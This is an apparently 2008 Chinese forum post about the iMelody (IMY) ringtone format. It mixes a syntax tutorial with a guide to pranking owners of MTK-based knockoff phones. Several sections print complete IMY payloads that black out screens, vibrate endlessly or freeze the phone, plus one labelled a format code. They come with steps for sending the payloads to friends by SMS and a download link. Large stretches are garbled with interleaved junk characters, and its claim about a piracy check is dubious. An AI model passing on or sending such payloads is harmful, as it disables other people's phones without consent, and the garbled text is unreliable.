IMY文件即震动.黑屏文件下载连接
www.namipan/d/9c179273db0a395cdab621726fb4db34666511b9701e0000
写在前边.有些朋友什么都不求去搞明白,那就看前边这些吧;
操作法一.把刚下载的imy 放到手机里的Audio文件夹,切忌手机里的Audio文件夹
然后点击写短信(不是彩信)(可以用自己的手机编辑铃声然后保存看是不是这个文件家.我自己测试了是这个文件夹)
操作法二.直接到你发在手机里的IMY文件.发送文件,以短信或者增强短信形式.这样文件就加进去了.手机短信里会多出来一个音乐符,你写短信时要注意.引着朋友往下看就成.把文件放在后边.其它放中间也成.
发给他们试试吧.还想明白点的朋友往下看
不求深解的朋友看到这就行了.总共可以概括为两步.下载我网盘上的文件.然后弄到手机里.以增强短信或者短信的方式发给朋友..
为避免自己触发效果,请先把自己的手机调为静音模式
一、IMY本来是音乐
一个网友如是说:
我第一个手机就是爱立信的T28SC,后来买了个T68送BF,开始对imy的铃声也是一无所知,后来看了很多东西,终于有所领悟,其实T302的和弦铃声太小,我倒觉得imy铃声也不错,于是写点体会.欢迎指正. imelody(imy)标准非常灵活,音域跨了9个8度,24种不同音长, 我一般用Mobile Music进行MIDI/IMY/RTTTL各种的转换。
创建imy铃声的过程如下,以CS的声为例:
建立一个记事本按一下格式,写入代码:
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
NAME:Bomb (你铃声的名字,方便你记忆,不过在手机里显示的名字还是.imy前的文件名)
BEAT:120
STYLE:S0
VOLUME:V15
MELODY:(ledonvibeonbackon*7e4ledoffvibeoffbackoffr1@5)        (ledonvibeonbackon*7e4ledoffvibeoffbackoffr2@15)    (ledonvibeonbackon*7e4ledoffvibeoff backoffr3@15)(ledonvibeonbackon*7e4ledoffvibeoffbackoffr5@25)vibeon(ledonbackon*7e5ledoffbackoff@0) (音符代码)
END:IMELODY
最后保存为*.imy用红外线传入你的68或其他机器保存,就可以享受到带震动及闪屏的铃声了
大家可以对这个一起好好研究研究~
二、IMY被恶搞
另个网友如是说:
黑屏震动死机音符 谁有imy源代码
今天朋友给我发了两条短信。内容如下:
1.警告:这条短信不要往下翻了。
再翻就会黑屏一个小时。
(无奈本人好奇心太重,翻了一下,结果就黑屏了。按按键还一闪一闪的。结果只能扣电池。郁闷。。。)
2.相信又能让手机失灵的短信吗?这条就能让你梦想成真。
不要往下翻了。
再翻你就得扣电池了。
再此警告!!
(可惜这次我又看了,结果手机狂振不止。没办法,扣电池吧。更加郁闷。。。 )
真邪门了
,短信能让手机这样!!
上网查了一下,原因到了:本人的手机是山寨机!!!
为什么这条短消息会让山寨手机黑屏呢?这和手机的MTK平台有关。
大部分“山寨机”的操作系统使用的是MTK平台。这个MTK平台,因为价格低廉,让不少国内生产MP3音乐播放器的厂家,一夜之间,都能生产手机。
这条短信的格式是:(空行)注意(空行)你的手机将黑屏一小时(空行)你信不信……(空行到底)。在这些空行里,隐含了一个音乐提示符。正是这个音乐提示符,让手机黑屏的。这个音乐提示符,是可以测试盗版和正版的一个组件——和电脑上微软XP操作系统一样,不是正版的软件,就会黑屏。
在MTK解决方案的手机中对于声音文件,都带有一个震动接口,也就是把震动命令放进铃声,使用该铃声的时候,手机会自动震动了!同震动的原理,MTK解决方案中,可能除了震动接口,还有黑屏的命令接口(当然,很可能仅仅是漏洞),在声音文件中加入该命令就可以使手机黑屏了!
三、进一步扩大战果
手机格式化代码!!!!!!!!!!
BEGBEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MIK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
("+<melody>+"@9999999999999999999999999)"
手机黑屏代码
BEGIN:IMELODY
BEAT:1200
MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY
手机狂震代码
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODY:(ledoffledonbackoffbackonvibeon@0)
END:IMELODY
向你们的“山寨朋友”发起猛攻吧
大家慎用..后果自负
imy 放到手机里的Audio文件夹,切忌手机里的Audio文件夹
然后点击写短信(不是彩信)(可以用自己的手机编辑铃声然后保存看是不是这个文件家.我自己测试了是这个文件夹)
选项:
以上各个代码未曾在短信中直接写入源代码发送试验,格式化代码请勿轻易尝试!如果要在短信中直接写入格式化代码,请在尝试其他代码后,确保无危险后才试验。
插入对象我的铃声选取刚才那个IMY文件发送
原理IMY是索爱最早支持的一种春代码的单音节铃声,可以用代码调用手机的解码芯片发出一些声音甚至一些核心指令
四、明白一点(基本标准)
imy的基本格式:
BEGIN:IMELOPYDEBT://执行参数(数字)
ascii文件夹怎么创建
MELODY://灯光及震动控制脚本
END:IMELODY
--2008-11-12
BEGIN:IMELODY
VERSION:1.2
五、我们要再搞清楚一点:
IMY详解:
! b  \  ]7 r5 y
6 L- V3 s+ J  e3 W; }" f(iMelody Ringtone Format):这是被专门设计用于EMS中的铃声,与2000年由爱立信提出,并与2001年6月得到3GPP认可成为标准,i-Melody铃声基于文本的方式标志音调,它的标准化工作由IrDA负责。支
持EMS的爱立信以及现在的索尼爱立信手机型号多采用i-Melody铃声格式。' l8 b9 O; ]8 ^& d# @" E8 {: i6 I
IMY是一种手机的铃声格式
- W7 x6 o, l4 \. q它是2000 年由爱立信提出的一种音频...IMY 是中国移动规定的通用彩信文件格式之一,但是支持这一文件格式自播放和铃声的手机并不多。
% }. |& R3 E" @& u" ^5 s0 z8 I& G  g/ N9 x5 Y" m5 E' |$ T! W
IMY是属于单音格式(非和弦) 7 U3 Q* c( C8 \: @- j6 l. e/ O* A' r
直接可以在手机上编写音符; W$ E5 V9 {$ z8 w  Z% O8 v5 n
0 y- j2 Z  n$ V
再谈谈MTK为什么会出现这个漏洞,早在MTK6210 年代 是没有 此漏洞的,这也是有些老款的山寨机,对此类短信免疫的原因 !
7 S' e% d7 T9 Y: V# }. L& U* z- s5 n+ G- q, e. m
到了 MTK6220年代 还记得当时山寨吹出的新功能 闪信 就是发一条短信伴随着屏幕和键盘闪,可以闪出很多 莫尔斯电码 当时看看挺个性后来可能厂商不宣传,加上大家觉得此功能鸡肋,也不再提它了,而"强大"的MTK却保留了次功能,以致漏洞的产生!
: G' B% j+ N5 p. W3 H
+ j. e) ~% r  A' L下面我独家提供下imy 的编写方式以及代码:0 [+ V# ], O- s. w1 ]
: W. D7 v! W6 L" r3 Y3 m& R" R8 z
经过自己这两天的摸索,有些心得,奉献给大家:
2 V8 V4 N# v: j$ ]- x& X3 I  (一)IMY基本格式解析:# V) G6 g" v- o+ t1 N7 |. D8 T
>>>>>#4 q. u4 s2 ?" P$ f1 I& ~- J3 g! i
BEGIN:IMELODY
2 _* P2 k* ^! R  VERSION:<version>0 l3 I2 T% G* w( C, f
FORMAT:<format>2 H$ _5 @, l, d* d" E! F0 J  C1 t
[NAME:<ring_name>]; e& n# P3 G( t) |1 n( C
[COMPOSER:<composer_name>]
!
K! k3 {  y* N& L- ]$ }* E3 H# h  [BEAT:<beat>]: f( s8 F7 Y' @) {9 P% r9 a
[STYLE:<style>]
@( K/ y# K, o8 G  [VOLUME:<volume>]
# R; S/ ~- _7 c1 V  MELODY:<melody>+ o2 k  h- c3 \/ e1 E+ b/ Z7 M" P9 i5 ?
END:IMELODY5 W' Q: `; ^/ [- Z' Z3 ^2 S" b
>>>>>##
6 Y2 D7 h" z' R3 o( t4 C' L- k  注:[]中为可选项 ;<>中为变量 ;两排#号间为要存储为*.imy文件中的内容
$ [8 ^5 N9 d2 f7 h8 T  变量详解:# `/ m* V1 J: s: W+ m! |& W
(1)<version>:版本号。唯一值1.2
( F6 [+ {# J) X( H! ]0 A  (2)<format>:格式编号。取值CLASS1.0|CLASS2.0(不了解后者是否被T68支持,一般填CLASS1.0): q5 O; |) r8 e/ O4 }
(3)<ring_name>:ASCII字符,铃声名. h& p8 h/ Q& s+ A$ S
(4)<composer_name>:作者名0 G4 L7 Y& f* r. A2 g& B2 z, W& j$ x
(5)<beat>:节奏。取值从25到900bpm(拍/分钟),越大节奏越快,缺省120  }& z+ r, A( b
(6)<style>:风格。取值为S0|S1|S2。5 t; k# O- r% ^) ]  @
; ; ; ; S0:普通。每音符间有暂停,音符与暂停时间比为20:1,缺省值* d$ I; K3 M% @
; ; ; ; S1:持续。每音符间无暂停
' y# \9 ~& D/ _; [  ; ; ; ; S2:断奏。音符与暂停时间比为1:1
1 y2 |, S! K! Y5 f# y9 z  (7)<volume>:音量。取值V0到V15。V0为静音,
缺省V7
) f/ y. S- ~' {  (8)<melody>:旋律字符串
3 K% [8 w  {. n$ }' j0 u: j  具体格式:{<silence>|<note>|<led>|<vibe>|<backlight>|<repeat>|<volume>}
P( `+ G- \8 L  ; ;<silence>:休止符。r<duration>[<duration-specifier>]
' J  k$ {/ e- Z5 |. q: \; J1 t  o  ; ; ; ; ;<duration>:"0" | "1" | "2" | "3" | "4" | "5",分别为全音符、半音符、1/4音符...1/32音符
9 e6 W" {; q& I9 }  ; ; ; ; ;<duration-specifier>:"." | ":" | “;” ;延时符,1.5倍、1.75倍与2/3倍) B* ?7 p% W' C( a4 o. g
; ;- g0 k7 s- r0 ~
; ;<led>:led特效。"ledoff" | "ledon"
! ?5 Q! w. h. L4 o  ; ;; D" N# }6 D! ]+ [- ?8 E1 @
; ;<vibe>:振动特效。"vibeon" | "vibeoff"( d; {7 A4 e/ e8 d, I  B  J
; ;% P6 K" C% |* R8 R& J
; ;<backlight>:背景灯特效。"backon" | "backoff"7 n7 d0 G1 {  O8 ^; A
; ;
& n' c7 }" ~' g  ; ;<repeat>:重复特效。"("+<melody>+"@n)" ; ; ;n取值0到无穷大
' M  R- n5 T% H8 J  ; ;<note>:音符。格式为[<octave-prefix>]<basic-ess-iss-note><duration>[<duration-specifier>], S$ e# U6 }9 {5 b: z6 r
; ; ; ;<octave-prefix>:音阶。取值"*0" | "*1" | … | "*8" (a=55Hz) | (a=110Hz) | … | (a=14080 Hz)
/ M$ X# m4 M/ b0 ]  ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; 缺省"*4",代表标准音(小字一组a音为880Hz)5 X4 M: d1 I# j3 N
; ; ; ; ; ; ; ; ; ; ; ; 特别提示:用68的编辑器录入时只有"*4"到"*8", ]+ S; n2 `- U, N7 g. z0 n
; ; ; ;<basic-ess-iss-note>:具体唱名。% t; Y4 q& K/ z9 w' `. y
; ; ; ;<basic-note>取值"c" | "d" | "e" | "f" | "g" | "a" | "b"(自然音)
+ x. _* R/ }6 r- W( l, ?; j  ; ; ; ;<ess-note>取值"&d" | "&e" | "&g" | "&a" | "&b"(降半音)
$ z; M9 H/ S/ H  ; ; ; ;<iss-note>取值"#c" | "#d" | "#f" | "#g" | "#a"(升半音)5 I5 b9 i, h$ Q  y9 Q! y
(二)手工录入方法:+ T/ `5 H, ]. @+ E
大家是不是已经看晕了?反正我自己已经快晕了。OK,进入正题,让我们用随机带的一首Funky来做例子
. ^4 R, C7 a; n) ?  从手机中导出的funky.imy如下:
' K# f( Z' z1 v# K, e  BEGIN:IMELODY
8 f5 Y- e$ U/ R5 z  VERSION:1.21 L) A* z' u. B
FORMAT:CLASS1.05 N* t5 |: }. A: _
STYLE:S0& _5 s; B5 R2 @7 `
VOLUME:V2
+ X3 |4 P4 C! M5 p4 P+ @; }  MELODY:vibeong2vibeoffbackoff*5d3g3*5&d3g2*5c2.backonledong2backoffledoff&b2backonledong2ledoffbackoffvibeonr2vibeoff*5d3g3*5&d3g2&b2.g2f2g2vibeonr2vibeoff*5c3*5&d3&b3g2&b2.backong2backofff2backong2backoffvibeonr2vibeoff*5c3*5&d3&b3g2&b2.r2r2backond4backoffr4backond4backoffr47 h& a* O# R7 |
END:IMELODY2 h, M' Y' P+ L9 D4 u/ a6 C
取"vibeong2vibeoffbackoff*5d3"来举例说明录入方法:
' {1 X- h/ C0 b- m  进入“编辑器”:
$ s0 ^$ z" h8 M) s  (1)按OPTION键(YES下面的)-2-6,插入"vibeon"! r: e; V# z7 r- b- d: h
(2)"g2"前面无"*4",为缺省音阶,按5,插入标准音阶的1/4音符g音7 a' [3 Z  G; I2 d
(3)按键OPTION-2-5,插入"vibeoff"2 w+ o- ]. `$ ?5 |9 X& P1 D6 t* P
(4)按键OPTION
-2-3,插入"backoff"4 l0 b2 O7 T5 e
(5)按键2-0-8,插入高八度的1/8音符d音(*5意味着高八度,按0提升;d后面的3是指1/8音符,按8减少持续时间就将原来的1/4音符减为1/8音符,其后节拍有变化记得用8和9调整!)8 t/ L3 f( f- v
再取接近最后的"&b2.r2r2backond4backoffr4"说明:
t) b* v& ?. N6 T6 D# e  (1)按键7-#-OPTION-6-“四分音符”-YES,插入"&b2.",降半度的1/4音符b音,带附点延长(原长的1.5倍)$ O+ f$ ^9 Q& q- O
(2)按键*,插入1/4拍休止符"r2"- I- R( P- ~0 m- C9 F* ^% D
(3)同(2)3 b9 [1 b7 t0 G' J3 n8 @
(4)按键OPTION-2-4,插入"backon"
( a( f5 Z$ K+ [* n, \5 |' t( i( n  (5)按键2-8-8,插入1/16音符"d4"(用8键调两次从原1/4拍得到1/16拍)
7 p7 Y7 z" @- h3 Y  (6)按键OPTION-2-3,插入"backoff"& _% v9 x1 j+ ?
(7)按键*,插入1/16休止符"r4"(为何不用8和9调整呢?注意第(5)步已经设置成了1/16拍!)
. R2 J6 U6 b2 z+ q, Q, R  例二:HeartBeat0 l9 b  v* N$ _& S) P
BEGIN:IMELODY , m+ j& f9 O( a4 o% }) X% W
VERSION:1.2
" G, O3 r4 k* E8 e% }" B) d  FORMAT:CLASS1.0
) B0 J( l0 g+ N- I2 D% _  BEAT:56 # N* ^* Y$ I7 }
MELODY:(ledonvibeonvibeonvibeonvibeonvibeonledoffvibeoffr5ledonvibeonvibeonvibeonledoffvibeoffr2@101)* t& j' j  }% @5 m6 t$ Q
END:IMELODY, i: G9 B7 Q! U2 b
输入序列不全列上,只取关键处:
+ P2 E3 F6 c, P  j9 t* P1 e" m9 H  (1)按键OPTION-3-输入56,将节奏改为56
: U* F1 h- P2 p1 h+ H  (2)按键OPTION-2-7,设置重复段起点
0 Z: y2 R* |+ z; |  ......(中间过程略,到"@101"之前)
* p7 }( \3 d1 N  (3)按键OPTION-2-8-9(长按9直到右上角数字变成101),设置重复段结尾,并设置重复次数为101次(不按9而直接按一次8会变成无穷大的标志)
& y8 @! E' j+ L5 o, x3 r  大功告成!原理与基本操作已经告诉大家,享受自己手工慢慢编曲的快乐(or痛苦)吧!
$ i7 q! z$ ^2 @) a  不过若真有人能用T68的编辑器手工录入那没有长度限制的imy铃声,我由衷地佩服他的毅力:)有些短小的imy效果铃声,到不妨练练手。. V0 m3 S7 k; I
篇后语:今天夜班,闲来无事,遂成此文。多从IMY的英文版基本格式说明入手,对照导出的IMY文件,多番试验,终有所成,不敢独享。鉴于对作曲完全不了解,以及对英文理解可能有偏差,难免有错漏之处,欢迎指正,共同探讨。
4 O% {, x5 _2 [1 q" ]& P5 u# u7 ~- k' S$ T) ?3 [# N7 z
另外发几个黑屏短信和震动短信的代码以及解密:(请勿滥用,否则后果自负)) E+ d3 [( R5 j1 F* L, H; K4 E- |, Z
例:& {% O) X* q1 `% T0 G( e/ Z( h
BEGIN:IMELODY ' e5 `" P0 u0 m' V: ~5 M* [# m- [- w! q
VERSION:1.2 # O2 Z# V) g& h% f  W
FORMAT:CLASS1.0 4 j9 e/ X, i/ j
BEAT:100
: R4 a" q5 X$ o5 v+ j$ QMELODY:(ledoffledonbackoffbackonvibeon@0)/ D8 Z# v; p* [1 H1 h
END:IME
LODY8 j. w' d/ a- }
1 T. B! {, J2 Y0 U. t, A) O8 s
根据IMY格式语法,这条短信就是个闪光震动代码: - ]! P* \& @2 L( G* ~2 h. S8 z8 Q
(ledoff ledon , backoff backon , vibeon , @0) : z5 A7 I( Q( U% X; A( j
[开关LED(闪动),开关背景灯(闪动),开震动],重复无
/ w, H* r% Z. v6 \9 q6 X" ]

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。

发表评论